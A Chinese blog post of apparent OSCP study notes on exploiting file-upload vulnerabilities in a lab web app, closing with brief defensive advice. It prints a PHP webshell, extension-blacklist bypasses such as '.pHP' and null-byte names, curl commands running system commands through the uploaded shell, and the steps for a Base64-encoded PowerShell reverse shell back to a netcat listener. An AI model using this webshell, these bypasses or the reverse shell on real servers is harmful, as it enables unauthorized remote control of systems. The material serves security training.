4-6〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸文件上传漏洞-A
郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。
💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉Whoami!-CSDN博客🚀
𖤐 现在,我们渐入佳境了,保持耐心,继续前行 !
𖤐 𝓝𝓸𝔀 𝔀𝓮'𝓻𝓮 𝓱𝓲𝓽𝓽𝓲𝓷𝓰 𝓸𝓾𝓻 𝓼𝓽𝓻𝓲𝓭𝓮, 𝓴𝓮𝓮𝓹 𝓹𝓪𝓽𝓲𝓮𝓷𝓽 𝓪𝓷𝓭 𝓴𝓮𝓮𝓹 𝓶𝓸𝓿𝓲𝓷𝓰 𝓯𝓸𝓻𝔀𝓪𝓻𝓭!
→ 信息收集
→ 漏洞检测
→ 初始立足点▸常见WEB应用攻击▸-----我们在这儿~ 🔥🔥🔥
→ 权限提升
→ 横向移动
→ 报告/分析
→ 教训/修复
目录
1 常见WEB应用攻击
1.3 文件上传漏洞
1.3.1 上传可执行文件攻击
1.3.1.1 识别第一类文件上传漏洞
1.3.1.2 定位上传位置与上传机制
1.3.1.3 绕过上传的过滤机制
1.3.1.4 执行上传的Webshell(simple-backdoor.pHP)
1.Webshell代码详细分析
2.分析思路并执行攻击编辑
1.3.1.5 从目标机器获取反向shell
1.攻击主机上启动Netcat监听器
2.构建PowerShell反向Shell代码
3.将Base64编码处理
①准备原始命令
②转换为字节数据
③Base64编码
4.通过Webshell执行反向Shell
5.收到反向shell连接
1.3.1.6 多语言Webshell应对策略
1.不同框架的Webshell位置
2.通用攻击流程
3.文件类型绕过进阶技巧
4.防护建议
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
1 常见WEB应用攻击
Web开发是当前IT领域需求最高的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:
-
📁 目录遍历 - 通过操纵文件路径访问未授权资源
-
📄 文件包含漏洞 - 包含恶意文件执行代码
-
⬆️ 文件上传攻击漏洞 - 上传恶意文件获取系统访问权---(本文)
-
⚡ 命令注入 - 在输入中注入系统命令执行
1.3 文件上传漏洞
文件上传漏洞:攻击者通过利用应用程序的文件上传功能,上传恶意文件到服务器,从而获取系统权限或执行其他攻击。
🎯 漏洞分类
漏洞类型 | 描述 | 可能的攻击方式 |
---|---|---|
第一类漏洞 | 上传的文件可被Web应用程序直接执行 | (本文)上传PHP脚本并通过浏览器执行; 适用于各种服务器端脚本语言 |
第二类漏洞 | 文件上传机制与其他漏洞结合利用 | 结合目录遍历:在文件上传请求中使用相对路径,并尝试覆盖类似authorized_keys的文件。 结合XML外部实体 (XXE)或跨站脚本 (XSS)攻击:当允许上传一个带有SVG文件类型的头像到个人资料时,可嵌入XXE攻击来显示文件内容甚至执行代码。 |
第三类漏洞 | 依赖用户交互的攻击 | 上传含恶意宏的文档文件,诱导用户执行 例如:当发现一个求职申请的上传表单时,尝试上传一个带有恶意.docx格式的简历,并集成恶意宏,然后通过宏来执行。 |
⚠️ 本单元重点讨论前两种文件上传漏洞。
1.3.1 上传可执行文件攻击
1.3.1.1 识别第一类文件上传漏洞
识别方法:
-
内容管理系统(CMS):通常有头像上传、博客附件等功能
-
企业网站:职业申请部分或特定业务功能中的上传机制
-
全面枚举:不应跳过对网站所有功能的仔细检查
1.3.1.2 定位上传位置与上传机制
示例:Mountain Desserts应用程序:访问http://192.168.50.189/meteor/
测试步骤:
-
发现图片上传功能,上图红框部分
-
尝试上传文本文件,验证限制范围
-
确认上传成功,说明不仅限于图片文件
-
此外:页面英文提示说要切换到windows,大胆推测目标服务器运行在windows上
如下示例:我们创建了一个test.txt的文本文件,并上传到Web应用程序,显示上传成功!
1.3.1.3 绕过上传的过滤机制
尝试上传之前使用的simple-backdoor.php的Webshell,提示PHP Webshell受阻:
-
系统提示:"不允许PHP文件"
-
表明存在文件扩展名黑名单
由于不知道过滤器的具体实现方式,将使用试错的方法来寻找绕过它的方法。
绕过黑名单的常用方法:
绕过技术 | 示例 | 原理 |
---|---|---|
非常规PHP扩展名 | .phps , .php7 | 利用较少检查的合法PHP扩展名 |
大小写变异 | .pHP , .PhP | 黑名单可能只检查小写扩展名 |
特殊字符添加 | .php. , .php | 利用系统处理文件名的特性 |
双重扩展名 | .jpg.php | 绕过简单的前缀/后缀检查 |
实战操作:
-
将
simple-backdoor.php
重命名为simple-backdoor.pHP
-
成功绕过过滤器,文件被上传至"uploads"目录
1.3.1.4 执行上传的Webshell(simple-backdoor.pHP
)
1.Webshell代码详细分析
kali@kali:/usr/share/webshells/php/$ cat simple-backdoor.php
...<?php
if(isset($_REQUEST['cmd'])){ # 把请求变量cmd的参数值echo "<pre>";$cmd = ($_REQUEST['cmd']); # 放入system()函数去执行system($cmd);echo "</pre>";die;
} # 总的意思:cmd的命令在本地web服务器执行,并输出结果。?> Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
...
步骤 | 功能描述 | 关键技术/函数 | 作用说明 |
---|---|---|---|
1. 接收命令 | 检查$_REQUEST['cmd'] 参数是否存在 | $_REQUEST 全局数组 | 自动获取GET、POST和COOKIE中的cmd 参数值 |
2. 执行命令 | 在服务器上执行传入的系统命令 | system($cmd) 函数 | 直接调用操作系统命令并返回执行结果 |
3. 显示结果 | 格式化输出命令执行结果 | echo "<pre>" 和echo "</pre>" | 使用HTML的<pre> 标签保持输出格式清晰可读 |
4. 终止脚本 | 命令执行完成后结束脚本运行 | die 语句 | 防止脚本继续执行,确保安全性和资源释放 |
🔹 $_REQUEST超级全局数组
-
功能:自动收集HTTP请求参数(GET + POST + COOKIE)
-
优势:无需区分请求方法,统一处理用户输入
-
风险:安全性较低,建议在生产环境中使用更具体的
$_GET
或$_POST
🔹 system()函数特性
-
执行环境:在Web服务器进程权限下运行
-
返回值:直接输出命令结果到浏览器
-
权限依赖:受Web服务器用户权限限制
🔹 <pre>标签的作用
-
格式保持:保留空格和换行符的原始格式
-
可读性:使命令行输出更易于阅读和分析
-
调试友好:便于攻击者查看完整的命令执行结果
🔹 die语句的重要性
-
资源清理:立即终止脚本,释放系统资源
-
安全控制:防止意外代码继续执行
-
逻辑明确:明确标识脚本执行终点
2.分析思路并执行攻击
① 再次分析上图,输出显示我们的文件已上传到“uploads”目录,所以假设存在一个名为“uploads”的目录。再次提醒:/uploads是我们猜想的目录。
② 刚刚上传simple-backdoor.pHP,这里不要输错;然后带参数cmd,这个参数将在该webshell中执行。我们使用curl,并将查询命令dir作为Webshell的“cmd”参数。
kali@kali:~$ curl http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=dir...
Directory of C:\xampp\htdocs\meteor\uploads
04/04/2022 06:23 AM <DIR> .
04/04/2022 06:23 AM <DIR> ..
04/04/2022 06:21 AM 328 simple-backdoor.pHP
04/04/2022 06:03 AM 15 test.txt2 File(s) 343 bytes2 Dir(s) 15,410,925,568 bytes free
...
结果确认:
-
成功显示目录列表
-
确认获得远程命令执行能力
1.3.1.5 从目标机器获取反向shell
步骤 | 操作 | 工具/技术 | 关键点 |
---|---|---|---|
1. 准备阶段 | 启动Netcat监听 | nc -nvlp 4444 | 选择未被占用的端口 |
2. 载荷构建 | PowerShell代码Base64编码 | PowerShell + Base64 | 避免特殊字符问题 |
3. 命令执行 | 通过Webshell触发反向连接 | curl + URL编码 | 正确格式化命令参数 |
4. 连接建立 | 接收反向Shell | Netcat监听器 | 获得目标系统控制权 |
1.攻击主机上启动Netcat监听器
在本地kali(攻击主机)上新的终端中启动一个Netcat监听器,在4444端口上捕获传入的反向shell。作用:准备接收目标机器的反向连接。
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
2.构建PowerShell反向Shell代码
目标环境分析:基于上面的网页的XAMPP图标和系统提示,推测为Windows系统。因此构建PowerShell的单行命令作为反向shell代码。
在本实验中,在kali上构建PowerShell代码,使用pwsh(跨平台的命令行外壳和脚本语言)。
pwsh是PowerShell的缩写,它是一个跨平台的命令行外壳和脚本语言。PowerShell是微软为Windows操作系统开发的,但随着时间的推移它已经变得跨平台,可以在Linux和macOS上使用,在kali的命令行中输入pwsh来启动PowerShell 7的交互式shell。
这段PowerShell代码是一个简单的反向Shell脚本,通常用于在远程机器上执行命令并将结果返回到攻击者的机器。它建立一个TCP连接,并执行来自连接的命令,连接到IP地址192.168.119.3上的端口4444,这个IP地址和端口是攻击者控制的机器。
3.将Base64编码处理
由于反向shell单行命令中有几个特殊字符,需使用base64对字符串进行编码。在网络传输数据时,通常需要转换为字节流格式,便于通过协议传输。编码思路如下:
①准备原始命令
$Text = "PowerShell反向shell代码"
-
把PowerShell命令存储在变量Text。
②转换为字节数据
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)# 将一个文本字符串($Text)转换成Unicode编码格式的字节数组($Bytes)。
-
将文本转换成计算机理解的二进制格式
-
使用Unicode编码确保所有字符正确转换
-
最终存储在变量Bytes中
详细说明:
[System.Text.Encoding]::Unicode:指定了想使用的编码格式,这里是 Unicode 编码。
常见的 Unicode 编码形式包括 UTF-16 和 UTF-8,其中 UTF-16 是指每个字符使用 2 或 4 字节表示。以 "H" 为例,它的 Unicode 编码是 0x0048,在 UTF-16 编码中,占用 2 个字节(0x00 0x48)。
GetBytes($Text): System.Text.Encoding 类的一个方法,用来将字符串 $Text 的内容转换为一个字节数组。它会将每个字符按照指定的编码格式转换成对应的字节形式。
示例:
字符串 $Text:$Text = "Hello"
执行以下代码时:
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$Bytes 中的内容将是:字符 "H", "e", "l", "l", "o" 对应的 Unicode 编码字节。以 "H" 为例,它的 Unicode 编码是 0x0048,在 UTF-16 编码中,占用 2 个字节(0x00 0x48)。所以最终 $Bytes 数组可能包含类似的字节数组:
$Bytes = [0x00, 0x48, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x6F]
③Base64编码
$EncodedText = [Convert]::ToBase64String($Bytes)
-
将二进制数据(字节数组)编码为安全传输的文本格式(Base64 编码字符串)
-
目的是:消除特殊字符,避免特殊字符在URL传输中被错误解析
详细说明:
[Convert] 是 .NET Framework 中的一个类,包含了多种转换方法。
ToBase64String 方法接受一个字节数组作为输入,并将其转换为一个 Base64 编码的字符串。$EncodedText:这是存储结果的变量,最终它将包含 Base64 编码后的字符串。例如,Hello 字符串的 Base64 编码可能是 SGVsbG8=。
4.通过Webshell执行反向Shell
命令构造:
-
原始命令:
powershell -enc <编码后的字符串>
-
URL编码后:
powershell%20-enc%20<编码字符串>
详细说明:
在 PowerShell 中,
-enc
参数通常用于通过 Base64 编码的命令行参数 启动 PowerShell 脚本或命令。它的全写是-EncodedCommand
,表示将一个 Base64 编码的命令传递给 PowerShell 执行。
执行方式:
curl "http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=powershell%20-enc%20<编码字符串>"
5.收到反向shell连接
执行命令后,在刚刚“nc -nvlp 4444”的终端上接收到一个反向shell,我们成功控制了目标主机192.168.50.189。
1.3.1.6 多语言Webshell应对策略
1.不同框架的Webshell位置
如果目标Web应用程序使用ASP而不是PHP,可以使用与前一个.pHP示例中相同的流程来获取代码执行,而不是上传PHP Webshell。幸运的是,Kali已经包含了各种Web Shell,位于/usr/share/webshells/目录中。已经提供的用于不同框架和语言的webshell。在kali中,不同框架的Webshell位置:
/usr/share/webshells/
├── asp/ # ASP语言Webshell
├── aspx/ # ASP.NET Webshell
├── jsp/ # JSP Webshell
├── php/ # PHP Webshell
└── other/ # 其他语言
2.通用攻击流程
步骤 | 操作 | 说明 |
---|---|---|
1. 识别技术栈 | 分析目标使用的编程语言 | PHP、ASP、JSP等 |
2. 上传Webshell文件 | 绕过文件类型过滤 | 使用大小写变异、双重扩展名等技术 |
3. 定位Webshell | 找到可访问的存储路径 | 通常为/uploads/、/images/等目录 |
4. 执行命令 | 通过参数传递系统命令 | 获得远程代码执行能力 |
3.文件类型绕过进阶技巧
重命名绕过法
-
上传无害文件:如
.txt
文本文件 -
通过应用功能重命名:利用网页的文件管理功能(若有),把文件格式改为
.php
-
直接访问新文件名:执行Webshell
其他绕过技术
-
空字节注入:
shell.php%00.jpg
-
特殊字符:
shell.php.
、shell.php
-
MIME类型欺骗:修改Content-Type头
4.防护建议
-
使用白名单而非黑名单验证文件类型
-
将上传文件存储在Web根目录外
-
对上传文件进行重命名
-
限制上传文件的执行权限
-
使用病毒扫描检查上传内容
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
您的支持是我创作最大的动力!